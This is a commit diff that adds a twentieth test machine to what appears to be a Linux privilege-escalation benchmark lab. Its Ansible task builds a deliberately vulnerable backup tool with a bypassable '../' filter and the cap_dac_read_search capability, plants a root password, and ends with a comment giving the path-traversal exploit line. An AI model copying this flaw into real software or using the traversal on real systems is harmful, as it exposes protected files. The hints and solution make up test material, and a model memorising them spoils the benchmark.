Skip to content

Commit e44fb6e

Browse files
committed
Add new test case with exploit over misconfigured capabilities and path traversal
1 parent 39cf5be commit e44fb6e

File tree

5 files changed

+150
-4
lines changed

5 files changed

+150
-4
lines changed

Vagrantfile

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -44,7 +44,7 @@ Vagrant.configure("2") do |config|
4444
# ansible.playbook = "./../tasks.yaml"
4545
#end
4646

47-
(1..19).each do |i|
47+
(1..20).each do |i|
4848
config.vm.define "test-#{i}" do |node|
4949
node.vm.network "private_network", ip: "192.168.122.#{i+150}"
5050
node.vm.hostname = "test-#{i}"

create_and_start_vms.sh

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -7,7 +7,7 @@ vagrant up
77
gawk -i inplace '!/^192.168.122./' ~/.ssh/known_hosts
88

99
# check if we can connect to the different machines
10-
for i in $(seq 1 19); do
10+
for i in $(seq 1 20); do
1111
ip=$((150 + i))
1212
if [ "$i" -eq 17 ]; then
1313
# Bei test-17 spezielle SSH-Parameter verwenden

hints.json

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -17,5 +17,6 @@
1717
"test-16" : "root might be entering his password into the console as parameter",
1818
"test-17" : "the kernel is old and might be exploitable",
1919
"test-18" : "there might be a $PATH vulnerability",
20-
"test-19" : "there might be an exploit over a MySQL UDF"
20+
"test-19" : "there might be an exploit over a MySQL UDF",
21+
"test-20" : "there might be a file with misconfigured capabilities"
2122
}

hosts.ini

Lines changed: 6 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -17,6 +17,7 @@
1717
192.168.122.167
1818
192.168.122.168
1919
192.168.122.169
20+
192.168.122.170
2021

2122
# those are mostly file-based (suid/sudo)
2223

@@ -88,4 +89,8 @@
8889

8990
# vulnerbility over mysql misconfiguration
9091
[vuln_mysql_misconfig]
91-
192.168.122.169
92+
192.168.122.169
93+
94+
# misconfigured capabilities
95+
[vuln_capabilities]
96+
192.168.122.170

tasks.yaml

Lines changed: 140 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -493,3 +493,143 @@
493493
# exit;
494494
# sudo su
495495

496+
- name: backup tool with misconfigured capabilities and path traversal
497+
hosts: vuln_capabilities
498+
gather_facts: true
499+
remote_user: root
500+
501+
vars:
502+
log_dirs:
503+
- system
504+
- web
505+
- database
506+
- serial
507+
# Amount of random log files per directory
508+
log_count: 4
509+
510+
tasks:
511+
- name: create user apache (system user, no login)
512+
user:
513+
name: apache
514+
system: yes
515+
shell: /usr/sbin/nologin
516+
create_home: yes
517+
home: /home/apache
518+
519+
- name: restrict apache home permissions
520+
file:
521+
path: /home/apache
522+
mode: '0700'
523+
524+
- name: create required log directories
525+
file:
526+
path: "/home/apache/logs/{{ item }}"
527+
state: directory
528+
owner: apache
529+
group: apache
530+
mode: '0755'
531+
loop: "{{ log_dirs }}"
532+
533+
- name: create multiple random log files in each directory
534+
copy:
535+
dest: "/home/apache/logs/{{ item.0 }}/{{ item.0 }}{{ item.1 }}.log"
536+
content: "Random log content for {{ item.0 }}{{ item.1 }}\n"
537+
owner: apache
538+
group: apache
539+
mode: '0644'
540+
loop: "{{ log_dirs | product(range(1, log_count + 1) | list) | list }}"
541+
loop_control:
542+
label: "{{ item.0 }}/{{ item.0 }}{{ item.1 }}.log"
543+
544+
- name: install gcc, libzip-dev, zip/unzip
545+
apt:
546+
name:
547+
- gcc
548+
- libzip-dev
549+
- zip
550+
- unzip
551+
state: present
552+
553+
- name: copy source code of vulnerable backup tool
554+
copy:
555+
dest: /home/lowpriv/backup_tool.c
556+
content: |
557+
#include <zip.h>
558+
#include <stdio.h>
559+
#include <dirent.h>
560+
#include <sys/stat.h>
561+
#include <string.h>
562+
563+
void add_dir(zip_t *archive, const char *base_path, const char *rel_path) {
564+
char full_path[4096];
565+
snprintf(full_path, sizeof(full_path), "%s/%s", base_path, rel_path);
566+
struct stat st;
567+
stat(full_path, &st);
568+
if (S_ISDIR(st.st_mode)) {
569+
DIR *d = opendir(full_path);
570+
struct dirent *entry;
571+
while ((entry = readdir(d))) {
572+
if (strcmp(entry->d_name, ".") == 0 || strcmp(entry->d_name, "..") == 0)
573+
continue;
574+
char child_rel[4096];
575+
if (strlen(rel_path) == 0)
576+
snprintf(child_rel, sizeof(child_rel), "%s", entry->d_name);
577+
else
578+
snprintf(child_rel, sizeof(child_rel), "%s/%s", rel_path, entry->d_name);
579+
580+
add_dir(archive, base_path, child_rel);
581+
}
582+
closedir(d);
583+
} else {
584+
zip_source_t *source = zip_source_file(archive, full_path, 0, 0);
585+
zip_file_add(archive, rel_path, source, ZIP_FL_OVERWRITE | ZIP_FL_ENC_UTF_8);
586+
}
587+
}
588+
589+
void removeSubstring(char *str, const char *toRemove) {
590+
size_t len = strlen(toRemove);
591+
if (len == 0) return;
592+
char *read = str, *write = str;
593+
while (*read) {
594+
if (strncmp(read, toRemove, len) == 0) {
595+
read += len;
596+
} else {
597+
*write++ = *read++;
598+
}
599+
}
600+
*write = '\0';
601+
}
602+
603+
int main(int argc, char **argv) {
604+
if (argc != 3) {
605+
printf("USAGE: %s {database|serial|system|web} <output_file>\n", argv[0]);
606+
return 1;
607+
}
608+
const char *user_str = argv[1];
609+
const char *out_zip = argv[2];
610+
char base_dir[4096];
611+
snprintf(base_dir, sizeof(base_dir), "/home/apache/logs/%s", user_str);
612+
removeSubstring(base_dir, "../");
613+
int err = 0;
614+
printf("Zipping %s into %s ...\n", base_dir, out_zip);
615+
zip_t *archive = zip_open(out_zip, ZIP_CREATE | ZIP_TRUNCATE, &err);
616+
add_dir(archive, base_dir, "");
617+
zip_close(archive);
618+
printf("Done!\n");
619+
return 0;
620+
}
621+
622+
- name: compile backup tool
623+
command: gcc -std=c11 /home/lowpriv/backup_tool.c -lzip -o /home/lowpriv/backup_tool
624+
625+
- name: set execution rights
626+
command: chmod a+x /home/lowpriv/backup_tool
627+
628+
- name: set capability
629+
command: setcap cap_dac_read_search+ep /home/lowpriv/backup_tool
630+
631+
- name: write root password into file for simplicity
632+
copy:
633+
dest: /root/root_password.txt
634+
content: "aim8Du7h\n"
635+
# ./backup_tool ..././..././..././root root.zip; unzip root.zip -d root; cat root/root_password.txt; su

0 commit comments

Comments
 (0)